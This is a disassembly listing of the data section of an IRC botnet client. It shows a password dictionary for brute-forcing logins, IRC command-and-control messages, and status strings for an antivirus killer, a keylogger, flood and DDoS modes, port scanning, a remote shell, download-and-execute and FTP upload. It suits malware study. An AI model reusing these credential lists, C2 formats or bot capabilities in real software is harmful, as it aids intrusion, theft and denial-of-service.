aNull_1		db 'null',0             ; DATA XREF: .packed:00429348o
		align 4
aServer		db 'server',0           ; DATA XREF: sub_401ACD+3E8Bo
					; .packed:00429340o
		align 4
aSystem		db 'system',0           ; DATA XREF: .packed:0042933Co
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: .packed:00429334o
		align 4
aLinux		db 'linux',0            ; DATA XREF: .packed:00429330o
		align 10h
aUnix		db 'unix',0             ; DATA XREF: .packed:0042932Co
		align 4
aDemo		db 'demo',0             ; DATA XREF: .packed:00429328o
		align 10h
aNone		db 'none',0             ; DATA XREF: .packed:00429324o
		align 4
aTest		db 'test',0             ; DATA XREF: .packed:0042931Co
		align 10h
a2004		db '2004',0             ; DATA XREF: .packed:00429318o
		align 4
a2003		db '2003',0             ; DATA XREF: sub_41AF8F+BAo
					; .packed:00429314o
		align 10h
a2002		db '2002',0             ; DATA XREF: .packed:00429310o
		align 4
a2001		db '2001',0             ; DATA XREF: .packed:0042930Co
		align 10h
a2000		db '2000',0             ; DATA XREF: .packed:00429308o
		align 4
a1234567890	db '1234567890',0       ; DATA XREF: .packed:00429304o
		align 4
a123456789	db '123456789',0        ; DATA XREF: .packed:00429300o
		align 10h
a12345678	db '12345678',0         ; DATA XREF: .packed:004292FCo
		align 4
a1234567	db '1234567',0          ; DATA XREF: .packed:004292F8o
a123456		db '123456',0           ; DATA XREF: .packed:004292F4o
		align 4
a12345		db '12345',0            ; DATA XREF: .packed:004292F0o
		align 4
a1234		db '1234',0             ; DATA XREF: .packed:004292ECo
		align 4
a123		db '123',0              ; DATA XREF: .packed:004292E8o
a12		db '12',0               ; DATA XREF: .packed:004292E4o
		align 4
a1:					; DATA XREF: .packed:0040AFC7o
					; .packed:004292E0o
		unicode	0, <1>,0
a007		db '007',0              ; DATA XREF: .packed:004292DCo
aPwd		db 'pwd',0              ; DATA XREF: .packed:004292D8o
aPass_0		db 'pass',0             ; DATA XREF: .packed:004292D4o
		align 4
aPass1234	db 'pass1234',0         ; DATA XREF: .packed:004292D0o
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: .packed:004292CCo
		align 4
aPassword	db 'password',0         ; DATA XREF: .packed:004292C8o
		align 4
aPassword1	db 'password1',0        ; DATA XREF: .packed:004292C4o
		align 4
aAdm		db 'adm',0              ; DATA XREF: .packed:004292C0o
aDb2		db 'db2',0              ; DATA XREF: .packed:00429468o
aOracle		db 'oracle',0           ; DATA XREF: .packed:00429480o
		align 4
aDba		db 'dba',0
aDatabase	db 'database',0         ; DATA XREF: .packed:00429448o
		align 4
aDefault	db 'default',0          ; DATA XREF: .packed:00429338o
aGuest_0	db 'guest',0            ; DATA XREF: .packed:00429320o
		align 4
aWwwadmin	db 'wwwadmin',0
		align 10h
aTeacher	db 'teacher',0          ; DATA XREF: .packed:004294C8o
aStudent	db 'student',0          ; DATA XREF: .packed:004294C4o
aOwner		db 'owner',0
		align 4
aComputer	db 'computer',0
		align 4
aRoot		db 'root',0             ; DATA XREF: .packed:00429344o
		align 4
aStaff		db 'staff',0            ; DATA XREF: .packed:004294CCo
		align 4
aAdmin		db 'admin',0            ; DATA XREF: .packed:004292BCo
		align 4
aAdmins		db 'admins',0           ; DATA XREF: .packed:004292B8o
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: .packed:004292B4o
aAdministrateur	db 'administrateur',0   ; DATA XREF: .packed:004292B0o
		align 10h
aAdministrador	db 'administrador',0    ; DATA XREF: .packed:004292ACo
		align 10h
aAdministrato_0	db 'administrator',0    ; DATA XREF: .packed:004292A8o
		align 10h
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: .packed:00429174o
		align 10h
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: .packed:00429170o
		align 10h
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: .packed:0042916Co
		align 10h
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: .packed:off_429168o
		align 10h
a@admin_com	db '*@admin.com',0      ; DATA XREF: .packed:off_429164o
dword_4299DC	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: sub_401221+46Bo
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 10h
dword_429A10	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: sub_401221+420o
aServerRunningO	db '- Server running on Port: 113.',0
		align 4
unk_429A3C	db  2Dh	; -		; DATA XREF: sub_401221+3F3o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 4
unk_429A7C	db  2Dh	; -		; DATA XREF: sub_401221+3A2o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 10h
dword_429AA0	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: sub_401221+364o
		dd 2E646574h, 0
dword_429ABC	dd 25207325h, 25222064h, 2273h ; DATA XREF: sub_401221+28Fo
dword_429AC8	dd 255C7325h, 73h	; DATA XREF: sub_401221+189o
					; sub_41716F+45o
dword_429AD0	dd 73257325h, 0		; DATA XREF: sub_401221+10Do
					; sub_4100B4+EAo ...
unk_429AD8	db    3			; DATA XREF: sub_4017ED+F2o
a81VrxConnected	db '8,1-VrX- Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401955+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 10h
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401955+35o
		align 4
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D25o
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D0Do
		align 4
unk_429B3C	db    3			; DATA XREF: sub_401ACD+7CF9o
a81VrxUserSLogg	db '8,1-VrX- User: %s logged in.',0
		align 4
unk_429B5C	db    3			; DATA XREF: sub_401ACD+7CDCo
a81VrxPasswordA	db '8,1-VrX- Password accepted.',0
		align 4
unk_429B7C	db    3			; DATA XREF: sub_401ACD+7C7Bo
a81VrxFailedHos	db '8,1-VrX- *Failed host auth by: (%s!%s).',0
		align 4
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7C52o
		align 10h
unk_429BD0	db    3			; DATA XREF: sub_401ACD+7C14o
a81VrxFailedPas	db '8,1-VrX- *Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7C02o
					; sub_401ACD+7C69o
		align 4
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7BEBo
		align 10h
asc_429C50:				; DATA XREF: sub_401ACD+7BBBo
		unicode	0, <~>,0
unk_429C54	db    3			; DATA XREF: sub_401ACD+7B6Bo
a81VrxRandomNic	db '8,1-VrX- Random nick change: %s',0
		align 4
unk_429C78	db    3			; DATA XREF: sub_401ACD+7AFDo
a81VrxReconnect	db '8,1-VrX- Reconnecting in %s seconds',0
		align 10h
unk_429CA0	db    3			; DATA XREF: sub_401ACD+7AB9o
a81VrxReconne_0	db '8,1-VrX- Reconnecting in %s ms',0
unk_429CC0	db    3			; DATA XREF: sub_401ACD+7A99o
a81VrxNickChang	db '8,1-VrX- Nick changed to: ',27h,'%s',27h,'.',0
		align 4
unk_429CE4	db    3			; DATA XREF: sub_401ACD+7A7Do
a81VrxJoinedCha	db '8,1-VrX- Joined channel: ',27h,'%s',27h,'.',0
unk_429D04	db    3			; DATA XREF: sub_401ACD+7A5Ao
a81VrxPartedCha	db '8,1-VrX- Parted channel: ',27h,'%s',27h,'.',0
unk_429D24	db    3			; DATA XREF: sub_401ACD+7A3Eo
a81VrxIrcRawS_	db '8,1-VrX- IRC Raw: %s.',0
		align 4
unk_429D3C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40948Ao
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 4
unk_429D68	db  2Dh	; -		; DATA XREF: sub_401ACD+79B6o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
unk_429D8C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40943Do
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_429DB4	db  2Dh	; -		; DATA XREF: sub_401ACD+7966o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_401ACD+794Co
unk_429DE0	db    3			; DATA XREF: sub_401ACD+7848o
a81VrxPrefixCha	db '8,1-VrX- Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_429E04	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409300o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_429E28	db  2Dh	; -		; DATA XREF: sub_401ACD+7829o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 4
unk_429E48	db    3			; DATA XREF: sub_401ACD+7809o
a81VrxServerCha	db '8,1-VrX- Server changed to: ',27h,'%s',27h,'.',0
		align 4
unk_429E6C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4092BDo
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 4
unk_429E94	db  2Dh	; -		; DATA XREF: sub_401ACD+77C2o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_429EB4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409255o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 4
unk_429EE4	db  2Dh	; -		; DATA XREF: sub_401ACD+777Eo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_429F04	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4091F5o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_429F34	db  2Dh	; -		; DATA XREF: sub_401ACD+7721o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 4
dword_429F58	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_401ACD+76DFo
		dd 27732527h, 2Eh
unk_429F74	db  2Dh	; -		; DATA XREF: sub_401ACD+7667o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
dword_429F98	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401ACD+75ECo
		dd 0
unk_429FB0	db  2Dh	; -		; DATA XREF: sub_401ACD+75BFo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToStartC	db ' Failed to start connection thread, error: <%d>.',0
		align 10h
dword_429FF0	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 7325203Ah
					; DATA XREF: sub_401ACD+7550o
		dd 2Eh
dword_42A008	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401ACD:loc_408F9Do
		dd 746E6573h, 2Eh
unk_42A024	db  2Dh	; -		; DATA XREF: sub_401ACD+74C9o
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 4
dword_42A044	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_401ACD+748Fo
		dd 732520h
unk_42A05C	db  2Dh	; -		; DATA XREF: sub_401ACD+7481o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 4
asc_42A088:				; DATA XREF: sub_401ACD+7469o
					; sub_4100B4+FBo ...
		dw 0Ah
		unicode	0, <>,0
unk_42A08C	db    3			; DATA XREF: sub_401ACD+7441o
a81VrxReadFileF	db '8,1-VrX- Read file failed: %s',0
		align 4
unk_42A0AC	db    3			; DATA XREF: sub_401ACD+7436o
a81VrxReadFileC	db '8,1-VrX- Read file complete: %s',0
		align 10h
aUnknowModeType	db 'Unknow mode type.',0 ; DATA XREF: sub_401ACD:loc_408E97o
		align 4
aFailedToStartL	db 'Failed to start logging thread, error: <%d>.',0
					; DATA XREF: sub_401ACD+73B4o
		align 4
aNormalKeyLogge	db 'Normal key logger active.',0 ; DATA XREF: sub_401ACD+733Do
		align 10h
aNormal_0	db 'normal',0           ; DATA XREF: sub_401ACD+72EDo
		align 4
aKeylogerAlread	db 'Keyloger Already running.',0 ; DATA XREF: sub_401ACD+7263o
		align 4
aVrxV3_0SitesKe	db 'VrX v3.0 sites keylogger active.',0 ; DATA XREF: sub_401ACD+7236o
					; sub_401ACD+72E5o
		align 4
aKeylog_0	db 'Keylog',0           ; DATA XREF: sub_401ACD+7231o
		align 10h
unk_42A180	db    3			; DATA XREF: sub_401ACD+7216o
a81VrxGethostS_	db '8,1-VrX- Gethost: %s.',0
		align 4
unk_42A198	db    3			; DATA XREF: sub_401ACD+71D2o
a81VrxUnableToE	db '8,1-VrX- Unable to extract Gethost command.',0
		align 4
unk_42A1C8	db    3			; DATA XREF: sub_401ACD+71B6o
a81VrxGethostSC	db '8,1-VrX- Gethost: %s, Command: %s',0
		align 4
unk_42A1EC	db    3			; DATA XREF: sub_401ACD+7119o
a81VrxAliasAdde	db '8,1-VrX- Alias added: %s.',0
		align 4
unk_42A208	db    3			; DATA XREF: sub_401ACD+70E7o
a81VrxPrivmsgSS	db '8,1-VrX- Privmsg: %s: %s.',0
		align 4
unk_42A224	db    3			; DATA XREF: sub_401ACD+7096o
a81VrxActionSS_	db '8,1-VrX- Action: %s: %s.',0
		align 10h
dword_42A240	dd 312C3803h, 5872562Dh, 7943202Dh, 2E656C63h, 0
					; DATA XREF: sub_401ACD+7028o
dword_42A254	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+6FEEo
					; sub_401ACD+7A49o
unk_42A260	db    3			; DATA XREF: sub_401ACD+6FC7o
a81VrxModeChang	db '8,1-VrX- Mode change: %s',0
		align 4
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+6FB6o
		align 4
dword_42A288	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401ACD+6F8Do
		dd 25203A29h, 73h
dword_42A2A4	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401ACD+6F1Fo
		dd 203A2973h, 7325h
dword_42A2C0	dd 45444F4Dh, 732520h	; DATA XREF: sub_401ACD+6EC7o
dword_42A2C8	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401ACD+6E95o
		dd 203A2973h, 7325h
dword_42A2E4	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6E1Do
dword_42A2F0	dd 0A0D7325h, 0		; DATA XREF: sub_401ACD+6DEBo
					; sub_401ACD+6E71o ...
dword_42A2F8	dd 54524150h, 732520h	; DATA XREF: sub_401ACD+6DB6o
dword_42A300	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6D79o
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42A33C	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6D0Eo
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 4
unk_42A368	db  2Dh	; -		; DATA XREF: sub_401ACD+6CA8o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A3A4	db  2Dh	; -		; DATA XREF: sub_401ACD+6C39o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_42A3D8	db    3			; DATA XREF: sub_401ACD+6B9Do
a81VrxRepeatNot	db '8,1-VrX- Repeat not allowed in command line: %s',0
		align 4
unk_42A40C	db    3			; DATA XREF: sub_401ACD+6B60o
a81VrxRepeatS	db '8,1-VrX- Repeat: %s',0
		align 4
dword_42A424	dd 312C3803h, 5872562Dh, 6544202Dh, 2E79616Ch, 0
					; DATA XREF: sub_401ACD:loc_408591o
dword_42A438	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_401ACD+6A84o
					; sub_401ACD+6B37o ...
dword_42A448	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD:loc_4084F0o
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 10h
dword_42A490	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6A19o
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
dword_42A4CC	dd 234032Dh, 61526159h,	3022162h ; DATA	XREF: sub_401ACD+69AAo
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_401ACD+6904o
		align 4
dword_42A504	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401ACD+68A2o
		dd 7325203Ah, 0
unk_42A520	db  2Dh	; -		; DATA XREF: sub_401ACD+6897o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
unk_42A544	db  2Dh	; -		; DATA XREF: sub_401ACD+67FDo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start search thread, error: <%d>.',0
unk_42A580	db  2Dh	; -		; DATA XREF: sub_401ACD+6787o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 10h
dword_42A5B0	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401ACD:loc_40818Do
					; sub_401ACD:loc_4091C7o
unk_42A5BC	db  2Dh	; -		; DATA XREF: sub_401ACD+66ABo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 10h
unk_42A5E0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408156o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 4
unk_42A618	db  2Dh	; -		; DATA XREF: sub_401ACD+667Fo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_2	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A650	db  2Dh	; -		; DATA XREF: sub_401ACD+660Fo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
dword_42A67C	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+658Co
aFailedToStar_3	db '- Failed to start clone thread, error: <%d>.',0
		align 4
dword_42A6B8	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+651Do
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 4
unk_42A6E8	db  2Dh	; -		; DATA XREF: sub_401ACD+64A4o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_4	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A720	db  2Dh	; -		; DATA XREF: sub_401ACD+6435o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 10h
unk_42A750	db  2Dh	; -		; DATA XREF: sub_401ACD+63ABo
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_5	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A788	db  2Dh	; -		; DATA XREF: sub_401ACD+633Co
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42A7B8	db  2Dh	; -		; DATA XREF: sub_401ACD+62C3o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A7F0	db  2Dh	; -		; DATA XREF: sub_401ACD+6254o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_42A82C	db  2Dh	; -		; DATA XREF: sub_401ACD+61DBo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStartT	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
dword_42A86C	dd 234032Dh, 61526159h,	3022162h ; DATA	XREF: sub_401ACD+616Co
aDownloadingUrl	db '- Downloading URL: %s to: %s.',0
		align 4
unk_42A898	db  2Dh	; -		; DATA XREF: sub_401ACD+609Do
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
unk_42A8DC	db  2Dh	; -		; DATA XREF: sub_401ACD+602Eo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42A918	db    3			; DATA XREF: sub_401ACD+5F31o
a81Sc@nPortScan	db '8,1-SC@N- Port scan started: %s:%d with delay: %d(ms).',0
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_401ACD+5E85o
		align 10h
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: sub_401ACD+5DB0o
		align 10h
dword_42A970	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401ACD+5D22o
					; sub_401ACD+7074o
unk_42A97C	db  2Dh	; -		; DATA XREF: sub_401ACD+5CC0o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42A9B8	db  2Dh	; -		; DATA XREF: sub_401ACD+5C51o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 4
unk_42AA08	db    3			; DATA XREF: sub_401ACD+5BBAo
					; sub_401ACD+5FA0o
a81Sc@nFailedTo	db '8,1-SC@N- Failed to start scan thread, error: <%d>.',0
		align 10h
unk_42AA40	db    3			; DATA XREF: sub_401ACD+5B4Bo
a81Sc@nSPortSca	db '8,1-SC@N- %s Port Scan started on %s:%d with a delay of %d second'
		db 's for %d minutes using %d threads.',0
		align 4
unk_42AAA8	db    3			; DATA XREF: sub_401ACD+59D5o
a81Sc@nFailed_0	db '8,1-SC@N- Failed to start scan, no IP specified.',0
		align 4
unk_42AADC	db    3			; DATA XREF: sub_401ACD+5978o
a81Sc@nFailed_1	db '8,1-SC@N- Failed to start scan, port is invalid.',0
		align 10h
unk_42AB10	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_407320o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 10h
unk_42AB40	db  2Dh	; -		; DATA XREF: sub_401ACD+584Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 4
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401ACD+5835o
aSS_2		db '-s:%s',0            ; DATA XREF: sub_401ACD+581Eo
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401ACD+57FBo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_401ACD+57D7o
		align 10h
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401ACD+57C6o
		align 10h
unk_42ABB0	db  2Dh	; -		; DATA XREF: sub_401ACD+576Do
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 10h
aUpload		db 'upload',0           ; DATA XREF: sub_401ACD+574Ao
		align 4
unk_42ABD8	db    3			; DATA XREF: sub_401ACD+5714o
a81Sc@nAlreadyD	db '8,1-SC@N- Already %d scanning threads. Too many specified.',0
unk_42AC14	db  2Dh	; -		; DATA XREF: sub_401ACD+56B5o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToStar_8	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42AC4C	db  2Dh	; -		; DATA XREF: sub_401ACD+564Ao
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
unk_42AC94	db  2Dh	; -		; DATA XREF: sub_401ACD+5599o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 4
unk_42ACC8	db  2Dh	; -		; DATA XREF: sub_401ACD+5565o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_42ACFC	db  2Dh	; -		; DATA XREF: sub_401ACD+5541o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 4
unk_42AD34	db  2Dh	; -		; DATA XREF: sub_401ACD+549Fo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5482o
		align 4
unk_42AD88	db  2Dh	; -		; DATA XREF: sub_401ACD+546Do
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_9	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42ADC0	db  2Dh	; -		; DATA XREF: sub_401ACD+53FEo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
